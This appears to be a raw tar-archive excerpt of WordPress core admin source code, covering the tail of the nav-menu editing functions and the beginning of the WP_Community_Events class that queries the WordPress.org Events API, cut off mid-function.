if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'most-used', 'search' ), true ) ) {
		$current_tab = $_REQUEST[ $tab_name ];
	}

if ( ! empty( $_REQUEST[ 'quick-search-taxonomy-' . $taxonomy_name ] ) ) {
		$current_tab = 'search';
	}

$removed_args = array(
		'action',
		'customlink-tab',
		'edit-menu-item',
		'menu-item',
		'page-tab',
		'_wpnonce',
	);

$most_used_url = '';
	$view_all_url  = '';
	$search_url    = '';
	if ( $nav_menu_selected_id ) {
		$most_used_url = esc_url( add_query_arg( $tab_name, 'most-used', remove_query_arg( $removed_args ) ) );
		$view_all_url  = esc_url( add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) ) );
		$search_url    = esc_url( add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) ) );
	}
	?>
	<div id="taxonomy-<?php echo $taxonomy_name; ?>" class="taxonomydiv">
		<ul id="taxonomy-<?php echo $taxonomy_name; ?>-tabs" class="taxonomy-tabs add-menu-item-tabs">
			<li <?php echo ( 'most-used' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-pop" href="<?php echo $most_used_url; ?>#tabs-panel-<?php echo $taxonomy_name; ?>-pop">
					<?php echo esc_html( $taxonomy->labels->most_used ); ?>
				</a>
			</li>
			<li <?php echo ( 'all' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-all" href="<?php echo $view_all_url; ?>#tabs-panel-<?php echo $taxonomy_name; ?>-all">
					<?php _e( 'View All' ); ?>
				</a>
			</li>
			<li <?php echo ( 'search' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link" data-type="tabs-panel-search-taxonomy-<?php echo esc_attr( $taxonomy_name ); ?>" href="<?php echo $search_url; ?>#tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>">
					<?php _e( 'Search' ); ?>
				</a>
			</li>
		</ul>

<div id="tabs-panel-<?php echo $taxonomy_name; ?>-pop" class="tabs-panel <?php echo ( 'most-used' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" role="region" aria-label="<?php echo $taxonomy->labels->most_used; ?>" tabindex="0">
			<ul id="<?php echo $taxonomy_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
				<?php
				$popular_terms  = get_terms(
					array(
						'taxonomy'     => $taxonomy_name,
						'orderby'      => 'count',
						'order'        => 'DESC',
						'number'       => 10,
						'hierarchical' => false,
					)
				);
				$args['walker'] = $walker;
				echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $popular_terms ), 0, (object) $args );
				?>
			</ul>
		</div>

<div id="tabs-panel-<?php echo $taxonomy_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php echo ( 'all' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" role="region" aria-label="<?php echo $taxonomy->labels->all_items; ?>" tabindex="0">
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
			<ul id="<?php echo $taxonomy_name; ?>checklist" data-wp-lists="list:<?php echo $taxonomy_name; ?>" class="categorychecklist form-no-clear">
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $terms ), 0, (object) $args );
				?>
			</ul>
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
		</div>

<div class="tabs-panel <?php echo ( 'search' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" id="tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>" role="region" aria-label="<?php echo $taxonomy->labels->search_items; ?>" tabindex="0">
			<?php
			if ( isset( $_REQUEST[ 'quick-search-taxonomy-' . $taxonomy_name ] ) ) {
				$searched       = esc_attr( $_REQUEST[ 'quick-search-taxonomy-' . $taxonomy_name ] );
				$search_results = get_terms(
					array(
						'taxonomy'     => $taxonomy_name,
						'name__like'   => $searched,
						'fields'       => 'all',
						'orderby'      => 'count',
						'order'        => 'DESC',
						'hierarchical' => false,
					)
				);
			} else {
				$searched       = '';
				$search_results = array();
			}
			?>
			<p class="quick-search-wrap">
				<label for="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" class="screen-reader-text"><?php _e( 'Search' ); ?></label>
				<input type="search" class="quick-search" value="<?php echo $searched; ?>" name="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" id="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" />
				<span class="spinner"></span>
				<?php submit_button( __( 'Search' ), 'small quick-search-submit hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-taxonomy-' . $taxonomy_name ) ); ?>
			</p>

<ul id="<?php echo $taxonomy_name; ?>-search-checklist" data-wp-lists="list:<?php echo $taxonomy_name; ?>" class="categorychecklist form-no-clear">
			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $search_results ), 0, (object) $args );
				?>
			<?php elseif ( is_wp_error( $search_results ) ) : ?>
				<li><?php echo $search_results->get_error_message(); ?></li>
			<?php elseif ( ! empty( $searched ) ) : ?>
				<li><?php _e( 'No results found.' ); ?></li>
			<?php endif; ?>
			</ul>
		</div>

<p class="button-controls wp-clearfix" data-items-type="taxonomy-<?php echo esc_attr( $taxonomy_name ); ?>">
			<span class="list-controls hide-if-no-js">
				<input type="checkbox"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> id="<?php echo esc_attr( $tab_name ); ?>" class="select-all" />
				<label for="<?php echo esc_attr( $tab_name ); ?>"><?php _e( 'Select All' ); ?></label>
			</span>

<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-taxonomy-menu-item" id="<?php echo esc_attr( 'submit-taxonomy-' . $taxonomy_name ); ?>" />
				<span class="spinner"></span>
			</span>
		</p>

</div>
	<?php
}

/**
 * Save posted nav menu item data.
 *
 * @since 3.0.0
 *
 * @param int     $menu_id   The menu ID for which to save this item. Value of 0 makes a draft, orphaned menu item. Default 0.
 * @param array[] $menu_data The unsanitized POSTed menu item data.
 * @return int[] The database IDs of the items saved
 */
function wp_save_nav_menu_items( $menu_id = 0, $menu_data = array() ) {
	$menu_id     = (int) $menu_id;
	$items_saved = array();

if ( 0 == $menu_id || is_nav_menu( $menu_id ) ) {

// Loop through all the menu items' POST values.
		foreach ( (array) $menu_data as $_possible_db_id => $_item_object_data ) {
			if (
				// Checkbox is not checked.
				empty( $_item_object_data['menu-item-object-id'] ) &&
				(
					// And item type either isn't set.
					! isset( $_item_object_data['menu-item-type'] ) ||
					// Or URL is the default.
					in_array( $_item_object_data['menu-item-url'], array( 'https://', 'http://', '' ), true ) ||
					// Or it's not a custom menu item (but not the custom home page).
					! ( 'custom' === $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) ||
					// Or it *is* a custom menu item that already exists.
					! empty( $_item_object_data['menu-item-db-id'] )
				)
			) {
				// Then this potential menu item is not getting added to this menu.
				continue;
			}

// If this possible menu item doesn't actually have a menu database ID yet.
			if (
				empty( $_item_object_data['menu-item-db-id'] ) ||
				( 0 > $_possible_db_id ) ||
				$_possible_db_id != $_item_object_data['menu-item-db-id']
			) {
				$_actual_db_id = 0;
			} else {
				$_actual_db_id = (int) $_item_object_data['menu-item-db-id'];
			}

$args = array(
				'menu-item-db-id'       => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ),
				'menu-item-object-id'   => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ),
				'menu-item-object'      => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ),
				'menu-item-parent-id'   => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ),
				'menu-item-position'    => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ),
				'menu-item-type'        => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ),
				'menu-item-title'       => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ),
				'menu-item-url'         => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ),
				'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ),
				'menu-item-attr-title'  => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ),
				'menu-item-target'      => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ),
				'menu-item-classes'     => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ),
				'menu-item-xfn'         => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ),
			);

$items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args );

}
	}
	return $items_saved;
}

/**
 * Adds custom arguments to some of the meta box object types.
 *
 * @since 3.0.0
 *
 * @access private
 *
 * @param object $object The post type or taxonomy meta-object.
 * @return object The post type or taxonomy object.
 */
function _wp_nav_menu_meta_box_object( $object = null ) {
	if ( isset( $object->name ) ) {

if ( 'page' === $object->name ) {
			$object->_default_query = array(
				'orderby'     => 'menu_order title',
				'post_status' => 'publish',
			);

// Posts should show only published items.
		} elseif ( 'post' === $object->name ) {
			$object->_default_query = array(
				'post_status' => 'publish',
			);

// Categories should be in reverse chronological order.
		} elseif ( 'category' === $object->name ) {
			$object->_default_query = array(
				'orderby' => 'id',
				'order'   => 'DESC',
			);

// Custom post types should show only published items.
		} else {
			$object->_default_query = array(
				'post_status' => 'publish',
			);
		}
	}

return $object;
}

/**
 * Returns the menu formatted to edit.
 *
 * @since 3.0.0
 *
 * @param int $menu_id Optional. The ID of the menu to format. Default 0.
 * @return string|WP_Error The menu formatted to edit or error object on failure.
 */
function wp_get_nav_menu_to_edit( $menu_id = 0 ) {
	$menu = wp_get_nav_menu_object( $menu_id );

// If the menu exists, get its items.
	if ( is_nav_menu( $menu ) ) {
		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'post_status' => 'any' ) );
		$result     = '<div id="menu-instructions" class="post-body-plain';
		$result    .= ( ! empty( $menu_items ) ) ? ' menu-instructions-inactive">' : '">';
		$result    .= '<p>' . __( 'Add menu items from the column on the left.' ) . '</p>';
		$result    .= '</div>';

if ( empty( $menu_items ) ) {
			return $result . ' <ul class="menu" id="menu-to-edit"> </ul>';
		}

/**
		 * Filters the Walker class used when adding nav menu items.
		 *
		 * @since 3.0.0
		 *
		 * @param string $class   The walker class to use. Default 'Walker_Nav_Menu_Edit'.
		 * @param int    $menu_id ID of the menu being rendered.
		 */
		$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id );

if ( class_exists( $walker_class_name ) ) {
			$walker = new $walker_class_name;
		} else {
			return new WP_Error(
				'menu_walker_not_exist',
				sprintf(
					/* translators: %s: Walker class name. */
					__( 'The Walker class named %s does not exist.' ),
					'<strong>' . $walker_class_name . '</strong>'
				)
			);
		}

$some_pending_menu_items = false;
		$some_invalid_menu_items = false;
		foreach ( (array) $menu_items as $menu_item ) {
			if ( isset( $menu_item->post_status ) && 'draft' === $menu_item->post_status ) {
				$some_pending_menu_items = true;
			}
			if ( ! empty( $menu_item->_invalid ) ) {
				$some_invalid_menu_items = true;
			}
		}

if ( $some_pending_menu_items ) {
			$result .= '<div class="notice notice-info notice-alt inline"><p>' . __( 'Click Save Menu to make pending menu items public.' ) . '</p></div>';
		}

if ( $some_invalid_menu_items ) {
			$result .= '<div class="notice notice-error notice-alt inline"><p>' . __( 'There are some invalid menu items. Please check or delete them.' ) . '</p></div>';
		}

$result .= '<ul class="menu" id="menu-to-edit"> ';
		$result .= walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $menu_items ), 0, (object) array( 'walker' => $walker ) );
		$result .= ' </ul> ';
		return $result;
	} elseif ( is_wp_error( $menu ) ) {
		return $menu;
	}

}

/**
 * Returns the columns for the nav menus page.
 *
 * @since 3.0.0
 *
 * @return string[] Array of column titles keyed by their column name.
 */
function wp_nav_menu_manage_columns() {
	return array(
		'_title'          => __( 'Show advanced menu properties' ),
		'cb'              => '<input type="checkbox" />',
		'link-target'     => __( 'Link Target' ),
		'title-attribute' => __( 'Title Attribute' ),
		'css-classes'     => __( 'CSS Classes' ),
		'xfn'             => __( 'Link Relationship (XFN)' ),
		'description'     => __( 'Description' ),
	);
}

/**
 * Deletes orphaned draft menu items
 *
 * @access private
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function _wp_delete_orphaned_draft_menu_items() {
	global $wpdb;
	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );

// Delete orphaned draft menu items.
	$menu_items_to_delete = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts AS p LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id WHERE post_type = 'nav_menu_item' AND post_status = 'draft' AND meta_key = '_menu_item_orphaned' AND meta_value < %d", $delete_timestamp ) );

foreach ( (array) $menu_items_to_delete as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Saves nav menu items
 *
 * @since 3.6.0
 *
 * @param int|string $nav_menu_selected_id    ID, slug, or name of the currently-selected menu.
 * @param string     $nav_menu_selected_title Title of the currently-selected menu.
 * @return array The menu updated message
 */
function wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ) {
	$unsorted_menu_items = wp_get_nav_menu_items(
		$nav_menu_selected_id,
		array(
			'orderby'     => 'ID',
			'output'      => ARRAY_A,
			'output_key'  => 'ID',
			'post_status' => 'draft,publish',
		)
	);

$messages   = array();
	$menu_items = array();

// Index menu items by DB ID.
	foreach ( $unsorted_menu_items as $_item ) {
		$menu_items[ $_item->db_id ] = $_item;
	}

$post_fields = array(
		'menu-item-db-id',
		'menu-item-object-id',
		'menu-item-object',
		'menu-item-parent-id',
		'menu-item-position',
		'menu-item-type',
		'menu-item-title',
		'menu-item-url',
		'menu-item-description',
		'menu-item-attr-title',
		'menu-item-target',
		'menu-item-classes',
		'menu-item-xfn',
	);

wp_defer_term_counting( true );

// Loop through all the menu items' POST variables.
	if ( ! empty( $_POST['menu-item-db-id'] ) ) {
		foreach ( (array) $_POST['menu-item-db-id'] as $_key => $k ) {

// Menu item title can't be blank.
			if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' === $_POST['menu-item-title'][ $_key ] ) {
				continue;
			}

$args = array();
			foreach ( $post_fields as $field ) {
				$args[ $field ] = isset( $_POST[ $field ][ $_key ] ) ? $_POST[ $field ][ $_key ] : '';
			}

$menu_item_db_id = wp_update_nav_menu_item( $nav_menu_selected_id, ( $_POST['menu-item-db-id'][ $_key ] != $_key ? 0 : $_key ), $args );

if ( is_wp_error( $menu_item_db_id ) ) {
				$messages[] = '<div id="message" class="error"><p>' . $menu_item_db_id->get_error_message() . '</p></div>';
			} else {
				unset( $menu_items[ $menu_item_db_id ] );
			}
		}
	}

// Remove menu items from the menu that weren't in $_POST.
	if ( ! empty( $menu_items ) ) {
		foreach ( array_keys( $menu_items ) as $menu_item_id ) {
			if ( is_nav_menu_item( $menu_item_id ) ) {
				wp_delete_post( $menu_item_id );
			}
		}
	}

// Store 'auto-add' pages.
	$auto_add        = ! empty( $_POST['auto-add-pages'] );
	$nav_menu_option = (array) get_option( 'nav_menu_options' );

if ( ! isset( $nav_menu_option['auto_add'] ) ) {
		$nav_menu_option['auto_add'] = array();
	}

if ( $auto_add ) {
		if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'], true ) ) {
			$nav_menu_option['auto_add'][] = $nav_menu_selected_id;
		}
	} else {
		$key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'], true );
		if ( false !== $key ) {
			unset( $nav_menu_option['auto_add'][ $key ] );
		}
	}

// Remove non-existent/deleted menus.
	$nav_menu_option['auto_add'] = array_intersect( $nav_menu_option['auto_add'], wp_get_nav_menus( array( 'fields' => 'ids' ) ) );
	update_option( 'nav_menu_options', $nav_menu_option );

wp_defer_term_counting( false );

/** This action is documented in wp-includes/nav-menu.php */
	do_action( 'wp_update_nav_menu', $nav_menu_selected_id );

$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' .
		sprintf(
			/* translators: %s: Nav menu title. */
			__( '%s has been updated.' ),
			'<strong>' . $nav_menu_selected_title . '</strong>'
		) . '</p></div>';

unset( $menu_items, $unsorted_menu_items );

return $messages;
}

/**
 * If a JSON blob of navigation menu data is in POST data, expand it and inject
 * it into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
 *
 * @ignore
 * @since 4.5.3
 * @access private
 */
function _wp_expand_nav_menu_post_data() {
	if ( ! isset( $_POST['nav-menu-data'] ) ) {
		return;
	}

$data = json_decode( stripslashes( $_POST['nav-menu-data'] ) );

if ( ! is_null( $data ) && $data ) {
		foreach ( $data as $post_input_data ) {
			// For input names that are arrays (e.g. `menu-item-db-id[3][4][5]`),
			// derive the array path keys via regex and set the value in $_POST.
			preg_match( '#([^\[]*)(\[(.+)\])?#', $post_input_data->name, $matches );

$array_bits = array( $matches[1] );

if ( isset( $matches[3] ) ) {
				$array_bits = array_merge( $array_bits, explode( '][', $matches[3] ) );
			}

$new_post_data = array();

// Build the new array value from leaf to trunk.
			for ( $i = count( $array_bits ) - 1; $i >= 0; $i-- ) {
				if ( count( $array_bits ) - 1 == $i ) {
					$new_post_data[ $array_bits[ $i ] ] = wp_slash( $post_input_data->value );
				} else {
					$new_post_data = array( $array_bits[ $i ] => $new_post_data );
				}
			}

$_POST = array_replace_recursive( $_POST, $new_post_data );
		}
	}
}
������������������������������������������������������class-wp-community-events.php�����������������������������������������������������������������������0000604�����������������00000044022�15075125354�0012337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administration: Community Events class.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.8.0
 */

/**
 * Class WP_Community_Events.
 *
 * A client for api.wordpress.org/events.
 *
 * @since 4.8.0
 */
class WP_Community_Events {
	/**
	 * ID for a WordPress user account.
	 *
	 * @since 4.8.0
	 *
	 * @var int
	 */
	protected $user_id = 0;

/**
	 * Stores location data for the user.
	 *
	 * @since 4.8.0
	 *
	 * @var bool|array
	 */
	protected $user_location = false;

/**
	 * Constructor for WP_Community_Events.
	 *
	 * @since 4.8.0
	 *
	 * @param int        $user_id       WP user ID.
	 * @param bool|array $user_location Stored location data for the user.
	 *                                  false to pass no location;
	 *                                  array to pass a location {
	 *     @type string $description The name of the location
	 *     @type string $latitude    The latitude in decimal degrees notation, without the degree
	 *                               symbol. e.g.: 47.615200.
	 *     @type string $longitude   The longitude in decimal degrees notation, without the degree
	 *                               symbol. e.g.: -122.341100.
	 *     @type string $country     The ISO 3166-1 alpha-2 country code. e.g.: BR
	 * }
	 */
	public function __construct( $user_id, $user_location = false ) {
		$this->user_id       = absint( $user_id );
		$this->user_location = $user_location;
	}

/**
	 * Gets data about events near a particular location.
	 *
	 * Cached events will be immediately returned if the `user_location` property
	 * is set for the current user, and cached events exist for that location.
	 *
	 * Otherwise, this method sends a request to the w.org Events API with location
	 * data. The API will send back a recognized location based on the data, along
	 * with nearby events.
	 *
	 * The browser's request for events is proxied with this method, rather
	 * than having the browser make the request directly to api.wordpress.org,
	 * because it allows results to be cached server-side and shared with other
	 * users and sites in the network. This makes the process more efficient,
	 * since increasing the number of visits that get cached data means users
	 * don't have to wait as often; if the user's browser made the request
	 * directly, it would also need to make a second request to WP in order to
	 * pass the data for caching. Having WP make the request also introduces
	 * the opportunity to anonymize the IP before sending it to w.org, which
	 * mitigates possible privacy concerns.
	 *
	 * @since 4.8.0
	 * @since 5.5.2 Response no longer contains formatted date field. They're added
	 *              in `wp.communityEvents.populateDynamicEventFields()` now.
	 *
	 * @param string $location_search Optional. City name to help determine the location.
	 *                                e.g., "Seattle". Default empty string.
	 * @param string $timezone        Optional. Timezone to help determine the location.
	 *                                Default empty string.
	 * @return array|WP_Error A WP_Error on failure; an array with location and events on
	 *                        success.
	 */
	public function get_events( $location_search = '', $timezone = '' ) {
		$cached_events = $this->get_cached_events();

if ( ! $location_search && $cached_events ) {
			return $cached_events;
		}

// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

$api_url                    = 'http://api.wordpress.org/events/1.0/';
		$request_args               = $this->get_request_args( $location_search, $timezone );
		$request_args['user-agent'] = 'WordPress/' . $wp_version . '; ' . home_url( '/' );

if ( wp_http_supports( array( 'ssl' ) ) ) {
			$api_url = set_url_scheme( $api_url, 'https' );
		}

$response       = wp_remote_get( $api_url, $request_args );
		$response_code  = wp_remote_retrieve_response_code( $response );
		$response_body  = json_decode( wp_remote_retrieve_body( $response ), true );
		$response_error = null;

if ( is_wp_error( $response ) ) {
			$response_error = $response;
		} elseif ( 200 !== $response_code ) {
			$response_error = new WP_Error(
				'api-error',
				/* translators: %d: Numeric HTTP status code, e.g. 400, 403, 500, 504, etc. */
				sprintf( __( 'Invalid API response code (%d).' ), $response_code )
			);
		} elseif ( ! isset( $response_body['location'], $response_body['events'] ) ) {
			$response_error = new WP_Error(
				'api-invalid-response',
				isset( $response_body['error'] ) ? $response_body['error'] : __( 'Unknown API error.' )
			);
		}

if ( is_wp_error( $response_error ) ) {
			return $response_error;
		} else {
			$expiration = false;

if ( isset( $response_body['ttl'] ) ) {
				$expiration = $response_body['ttl'];
				unset( $response_body['ttl'] );
			}

/*
			 * The IP in the response is usually the same as the one that was sent
			 * in the request, but in some cases it is different. In those cases,
			 * it's important to reset it back to the IP from the request.
			 *
			 * For example, if the IP sent in the request is private (e.g., 192.168.1.100),
			 * then the API will ignore that and use the corresponding public IP instead,
			 * and the public IP will get returned. If the public IP were saved, though,
			 * then get_cached_events() would always return `false`, because the transient
			 * would be generated based on the public IP when saving the cache, but generated
			 * based on the private IP when retrieving the cache.
			 */
			if ( ! empty( $response_body['location']['ip'] ) ) {
				$response_body['location']['ip'] = $request_args['body']['ip'];
			}

/*
			 * The API doesn't return a description for latitude/longitude requests,
			 * but the description is already saved in the user location, so that
			 * one can be used instead.
			 */
			if ( $this->coordinates_match( $request_args['body'], $response_body['location'] ) && empty( $response_body['location']['description'] ) ) {
				$response_body['location']['description'] = $this->user_location['description'];
			}

/*
			 * Store the raw response, because events will expire before the cache does.
			 * The response will need to be processed every page load.
			 */
			$this->cache_events( $response_body, $expiration );

$response_body['events'] = $this->trim_events( $response_body['events'] );

return $response_body;
		}
	}

/**
	 * Builds an array of args to use in an HTTP request to the w.org Events API.
	 *
	 * @since 4.8.0
	 *
	 * @param string $search   Optional. City search string. Default empty string.
	 * @param string $timezone Optional. Timezone string. Default empty string.
	 * @return array The request args.
	 */
	protected function get_request_args( $search = '', $timezone = '' ) {
		$args = array(
			'number' => 5, // Get more than three in case some get trimmed out.
			'ip'     => self::get_unsafe_client_ip(),
		);

/*
		 * Include the minimal set of necessary arguments, in order to increase the
		 * chances of a cache-hit on the API side.
		 */
		if ( empty( $search ) && isset( $this->user_location['latitude'], $this->user_location['longitude'] ) ) {
			$args['latitude']  = $this->user_location['latitude'];
			$args['longitude'] = $this->user_location['longitude'];
		} else {
			$args['locale'] = get_user_locale( $this->user_id );

if ( $timezone ) {
				$args['timezone'] = $timezone;
			}

if ( $search ) {
				$args['location'] = $search;
			}
		}

// Wrap the args in an array compatible with the second parameter of `wp_remote_get()`.
		return array(
			'body' => $args,
		);
	}

/**
	 * Determines the user's actual IP address and attempts to partially
	 * anonymize an IP address by converting it to a network ID.
	 *
	 * Geolocating the network ID usually returns a similar location as the
	 * actual IP, but provides some privacy for the user.
	 *
	 * $_SERVER['REMOTE_ADDR'] cannot be used in all cases, such as when the user
	 * is making their request through a proxy, or when the web server is behind
	 * a proxy. In those cases, $_SERVER['REMOTE_ADDR'] is set to the proxy address rather
	 * than the user's actual address.
	 *
	 * Modified from https://stackoverflow.com/a/2031935/450127, MIT license.
	 * Modified from https://github.com/geertw/php-ip-anonymizer, MIT license.
	 *
	 * SECURITY WARNING: This function is _NOT_ intended to be used in
	 * circumstances where the authenticity of the IP address matters. This does
	 * _NOT_ guarantee that the returned address is valid or accurate, and it can
	 * be easily spoofed.
	 *
	 * @since 4.8.0
	 *
	 * @return string|false The anonymized address on success; the given address
	 *                      or false on failure.
	 */
	public static function get_unsafe_client_ip() {
		$client_ip = false;

// In order of preference, with the best ones for this purpose first.
		$address_headers = array(
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		);

foreach ( $address_headers as $header ) {
			if ( array_key_exists( $header, $_SERVER ) ) {
				/*
				 * HTTP_X_FORWARDED_FOR can contain a chain of comma-separated
				 * addresses. The first one is the original client. It can't be
				 * trusted for authenticity, but we don't need to for this purpose.
				 */
				$address_chain = explode( ',', $_SERVER[ $header ] );
				$client_ip     = trim( $address_chain[0] );

break;
			}
		}

if ( ! $client_ip ) {
			return false;
		}

$anon_ip = wp_privacy_anonymize_ip( $client_ip, true );

if ( '0.0.0.0' === $anon_ip || '::' === $anon_ip ) {
			return false;
		}

return $anon_ip;
	}

/**
	 * Test if two pairs of latitude/longitude coordinates match each other.
	 *
	 * @since 4.8.0
	 *
	 * @param array $a The first pair, with indexes 'latitude' and 'longitude'.
	 * @param array $b The second pair, with indexes 'latitude' and 'longitude'.
	 * @return bool True if they match, false if they don't.
	 */
	protected function coordinates_match( $a, $b ) {
		if ( ! isset( $a['latitude'], $a['longitude'], $b['latitude'], $b['longitude'] ) ) {
			return false;
		}

return $a['latitude'] === $b['latitude'] && $a['longitude'] === $b['longitude'];
	}

/**
	 * Generates a transient key based on user location.
	 *
	 * This could be reduced to a one-liner in the calling functions, but it's
	 * intentionally a separate function because it's called from multiple
	 * functions, and having it abstracted keeps the logic consistent and DRY,
	 * which is less prone to errors.
	 *
	 * @since 4.8.0
	 *
	 * @param array $location Should contain 'latitude' and 'longitude' indexes.
	 * @return bool|string false on failure, or a string on success.
	 */
	protected function get_events_transient_key( $location ) {
		$key = false;

if ( isset( $location['ip'] ) ) {
			$key = 'community-events-' . md5( $location['ip'] );
		} elseif ( isset( $location['latitude'], $location['longitude'] ) ) {
			$key = 'community-events-' . md5( $location['latitude'] . $location['longitude'] );
		}

return $key;
	}

/**
	 * Caches an array of events data from the Events API.
	 *
	 * @since 4.8.0
	 *
	 * @param array    $events     Response body from the API request.
	 * @param int|bool $expiration Optional. Amount of time to cache the events. Defaults to false.
	 * @return bool true if events were cached; false if not.
	 */
	protected function cache_events( $events, $expiration = false ) {
		$set              = false;
		$transient_key    = $this->get_events_transient_key( $events['location'] );
		$cache_expiration = $expiration ? absint( $expiration ) : HOUR_IN_SECONDS * 12;

if ( $transient_key ) {
			$set = set_site_transient( $transient_key, $events, $cache_expiration );
		}

return $set;
	}

/**
	 * Gets cached events.
	 *
	 * @since 4.8.0
	 * @since 5.5.2 Response no longer contains formatted date field. They're added
	 *              in `wp.communityEvents.populateDynamicEventFields()` now.
	 *
	 * @return array|false An array containing `location` and `events` items
	 *                     on success, false on failure.
	 */
	public function get_cached_events() {
		$cached_response = get_site_transient( $this->get_events_transient_key( $this->user_location ) );

if ( isset( $cached_response['events'] ) ) {
			$cached_response['events'] = $this->trim_events( $cached_response['events'] );
		}

return $cached_response;
	}

/**
	 * Adds formatted date and time items for each event in an API response.
	 *
	 * This has to be called after the data is pulled from the cache, because
	 * the cached events are shared by all users. If it was called before storing
	 * the cache, then all users would see the events in the localized data/time
	 * of the user who triggered the cache refresh, rather than their own.
	 *
	 * @since 4.8.0
	 * @deprecated 5.6.0 No longer used in core.
	 *
	 * @param array $response_body The response which contains the events.
	 * @return array The response with dates and times formatted.
	 */
	protected function format_event_data_time( $response_body ) {
		_deprecated_function(
			__METHOD__,
			'5.5.2',
			'This is no longer used by core, and only kept for backward compatibility.'
		);

if ( isset( $response_body['events'] ) ) {
			foreach ( $response_body['events'] as $key => $event ) {
				$timestamp = strtotime( $event['date'] );

/*
				 * The `date_format` option is not used because it's important
				 * in this context to keep the day of the week in the formatted date,
				 * so that users can tell at a glance if the event is on a day they
				 * are available, without having to open the link.
				 */
				/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/date */
				$formatted_date = date_i18n( __( 'l, M j, Y' ), $timestamp );
				$formatted_time = date_i18n( get_option( 'time_format' ), $timestamp );

if ( isset( $event['end_date'] ) ) {
					$end_timestamp      = strtotime( $event['end_date'] );
					$formatted_end_date = date_i18n( __( 'l, M j, Y' ), $end_timestamp );

if ( 'meetup' !== $event['type'] && $formatted_end_date !== $formatted_date ) {
						/* translators: Upcoming events month format. See https://www.php.net/date */
						$start_month = date_i18n( _x( 'F', 'upcoming events month format' ), $timestamp );
